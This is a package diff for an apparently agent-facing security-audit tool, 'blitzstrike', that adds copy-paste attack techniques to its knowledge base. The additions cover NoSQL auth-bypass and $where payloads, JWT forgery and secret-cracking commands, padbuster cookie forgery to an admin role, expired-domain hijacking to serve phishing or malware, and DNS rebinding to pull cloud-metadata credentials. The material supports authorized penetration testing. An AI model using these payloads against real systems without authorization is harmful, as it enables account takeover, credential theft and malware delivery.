blitzstrike 2.4.104 → 2.4.105

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -5,6 +5,23 @@ All notable changes to Blitz Strike are documented here.
5
5
  The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/).
7
7
 
8
+ ## [2.4.105] — 2026-09-17
9
+
10
+ ### Added — technique depth (concrete tools + payloads in the technique base)
11
+
12
+ - Enriched five technique classes with concrete, copy-paste-able tools and
13
+ payloads (a `tools` array + additional `techniques` steps), derived from
14
+ public per-class references:
15
+ - `padding_oracle` — padbuster/padre commands, block sizes (DES=8/AES=16),
16
+ oracle indicators, CVE-2021-43074 / CVE-2025-34091.
17
+ - `broken_link_hijacking` — blc / wget --spider / whois commands,
18
+ CVE-2017-1000107 + link-rot → RCE cases.
19
+ - `dns_rebinding` — rbndr.us / sslip.io / rebinder harness, Jenkins
20
+ CVE-2016-0788 + cloud-metadata exfil.
21
+ - `jwt` — jwt_tool -M at, hashcat -m 16500, jwt2john, header attacks
22
+ (alg:none / key confusion / jku-x5u / kid traversal / CVE-2022-21449).
23
+ - `nosql_injection` — $ne/$gt/$regex/$where payloads (form + JSON) + $where RCE.
24
+
8
25
  ## [2.4.104] — 2026-09-17
9
26
 
10
27
  ### Added — two client-side detectors (postMessage + client-trusted flag)
@@ -205,7 +205,10 @@
205
205
  "techniques": [
206
206
  "Auth bypass: $ne / $gt on both fields.",
207
207
  "Blind: $regex with ^a to enumerate values.",
208
- "$where: sleep(5000) for time-based, or arbitrary JS."
208
+ "$where: sleep(5000) for time-based, or arbitrary JS.",
209
+ "Auth bypass (form): username[$ne]=toto&password[$ne]=toto \u2014 operator injection makes the condition always true.",
210
+ "Auth bypass (JSON): {\"username\":{\"$ne\":null},\"password\":{\"$ne\":null}} or {\"username\":{\"$gt\":\"\"},\"password\":{\"$gt\":\"\"}}.",
211
+ "Extraction: $regex '^a.*' char-by-char boolean oracle. $where: this.username == '<input>' \u2192 arbitrary JS on the Mongo server (RCE if the JS engine is enabled)."
209
212
  ],
210
213
  "verify": "The operator injection returns data it should not (auth bypass / a different record); a control with a literal value returns the normal response."
211
214
  },
@@ -289,9 +292,15 @@
289
292
  "RS256->HS256: sign with the public key.",
290
293
  "kid: ../../dev/null or a SQLi payload to pick a key.",
291
294
  "jku/x5u: point to an attacker-hosted JWK.",
292
- "Weak secret -> crack with jwt_tool/hashcat."
293
- ],
294
- "verify": "A forged token is accepted (server returns authorized data for the impersonated user); an unmodified/invalid token is rejected."
295
+ "Weak secret -> crack with jwt_tool/hashcat.",
296
+ "Header attacks: alg:none (strip signature), RS256\u2192HS256 key confusion, jku/x5u header injection to a collaborator, kid path traversal to a static signing key."
297
+ ],
298
+ "verify": "A forged token is accepted (server returns authorized data for the impersonated user); an unmodified/invalid token is rejected.",
299
+ "tools": [
300
+ "python3 jwt_tool.py -t <url> -rh \"Authorization: Bearer <token>\" -M at \u2014 run the full attack suite (alg:none, HMAC key confusion, embedded JWK, psychic signature CVE-2022-21449)",
301
+ "hashcat -a 0 -m 16500 jwt.txt wordlist.txt \u2014 crack a weak HS256 secret",
302
+ "jwt2john.py JWT > t.hash && john t.hash --wordlist=w.txt \u2014 John fallback"
303
+ ]
295
304
  },
296
305
  {
297
306
  "id": "oauth",
@@ -1223,12 +1232,18 @@
1223
1232
  "techniques": [
1224
1233
  "Expired-domain registration -> recreate the original URL path -> serve malicious JS that every page still loads (the WatchTowr 2025 pattern: ~40 expired domains = thousands of live backdoors).",
1225
1234
  "JS-bundle package/CDN reference to an expired or noneexistent domain (font, polyfill, npm CDN).",
1226
- "Service-integration domain expiry: SES/SendGrid/Mailgun verification or webhook domains left dangling."
1235
+ "Service-integration domain expiry: SES/SendGrid/Mailgun verification or webhook domains left dangling.",
1236
+ "Crawl \u2192 isolate outbound links whose domain fails DNS or returns 404/500 \u2192 confirm expiry via WHOIS \u2192 register the domain \u2192 recreate the original URL path with a phishing/malware payload (CVE-2017-1000107; gov.uk link-takeover; Mozilla MFSA 2016-88 link-rot \u2192 RCE)."
1227
1237
  ],
1228
1238
  "verify": [
1229
1239
  "RDAP/WHOIS shows the referenced domain in an expired/redemption state (prove it is registrable).",
1230
1240
  "The reference is STILL live in the target's HTML/JS bundle (the trust is still inherited).",
1231
1241
  "NOT merely a dangling CNAME \u2014 that is subdomain_takeover; this is a FULLY EXPIRED registrable domain."
1242
+ ],
1243
+ "tools": [
1244
+ "blc -rfoi --exclude linkedin.com --filter-level 3 https://example.com/ \u2014 recursive broken-link crawl (anchors/images/css/js/iframes)",
1245
+ "wget --spider -r -nd https://example.com/ 2>&1 | grep -i 'broken' \u2014 find failing outbound URLs",
1246
+ "whois <domain> \u2014 check expiry / pendingDelete / redemptionPeriod (registrable)"
1232
1247
  ]
1233
1248
  },
1234
1249
  {
@@ -1247,12 +1262,19 @@
1247
1262
  "techniques": [
1248
1263
  "Padding Oracle via distinct error messages / status codes.",
1249
1264
  "Padding Oracle via timing side-channel (CVE-2025-59438 Mbed TLS pattern; CVE-2025-34091 Chrome AppBound).",
1250
- "Encrypted-cookie forgery: recover plaintext, then re-encrypt controlled plaintext to forge a session/admin token."
1265
+ "Encrypted-cookie forgery: recover plaintext, then re-encrypt controlled plaintext to forge a session/admin token.",
1266
+ "Block size 8 = DES/3DES, 16 = AES. Oracle indicators: 'Invalid padding' / 'Padding error' / 'Decryption failed' / HTTP 500 only on some flips / a timing delta.",
1267
+ "After decrypting the cookie, re-encrypt 'user=admin&role=administrator' to impersonate (CVE-2021-43074 FortiOS session cookie; CVE-2025-34091 Chrome AppBound 'C4 Bomb')."
1251
1268
  ],
1252
1269
  "verify": [
1253
1270
  "A modified ciphertext produces a DETECTABLY different response (not identical to the baseline).",
1254
1271
  "The oracle is repeatable (same modification -> same differential).",
1255
1272
  "Recover one known plaintext byte to confirm the oracle actually leaks information."
1273
+ ],
1274
+ "tools": [
1275
+ "padbuster <url> <token> <block_size> -cookies \"name=value\" -error \"Invalid padding\" \u2014 decrypt a CBC token via the oracle",
1276
+ "padbuster <url> <token> <block_size> -cookies \"name=value\" -error \"Invalid padding\" -plaintext 'user=admin&role=administrator' \u2014 re-encrypt to forge an elevated token",
1277
+ "padre \u2014 concurrent Go padding-oracle tool with automatic block-size + encoding fingerprinting"
1256
1278
  ]
1257
1279
  },
1258
1280
  {
@@ -1271,12 +1293,18 @@
1271
1293
  "techniques": [
1272
1294
  "TTL-based rebinding (short TTL, swap A record between attacker IP and internal target).",
1273
1295
  "SSRF host-allowlist bypass via rebinding (validate hostname -> resolve to internal IP).",
1274
- "Same-origin bypass to attack local services (Redis, memcached, Docker socket, cloud metadata)."
1296
+ "Same-origin bypass to attack local services (Redis, memcached, Docker socket, cloud metadata).",
1297
+ "Rebind to 127.0.0.1 to hit local services (Jenkins CLI auth bypass CVE-2016-0788); rebind to 169.254.169.254 for cloud metadata (IAM-role exfil); VPNFilter used a rebinding stage to reach routers behind NAT."
1275
1298
  ],
1276
1299
  "verify": [
1277
1300
  "The rebinding domain resolves to BOTH the attacker IP and the internal target (two-resolve proof).",
1278
1301
  "The target actually re-resolves the hostname at request time (not cached once).",
1279
1302
  "An internal-only response (metadata, DB, admin) is returned to the attacker origin."
1303
+ ],
1304
+ "tools": [
1305
+ "rbndr.us \u2014 generate a hostname that alternates between two IPs with a very low TTL (attacker IP \u2194 internal target)",
1306
+ "lock.cmpxchg8b.com/rebinder.html \u2014 DNS-rebinding test harness",
1307
+ "192-168-1-1.sslip.io \u2014 wildcard DNS returning a fixed embedded IP (setup/probe)"
1280
1308
  ]
1281
1309
  }
1282
1310
  ]
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "blitzstrike",
3
- "version": "2.4.104",
3
+ "version": "2.4.105",
4
4
  "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
5
5
  "type": "module",
6
6
  "bin": {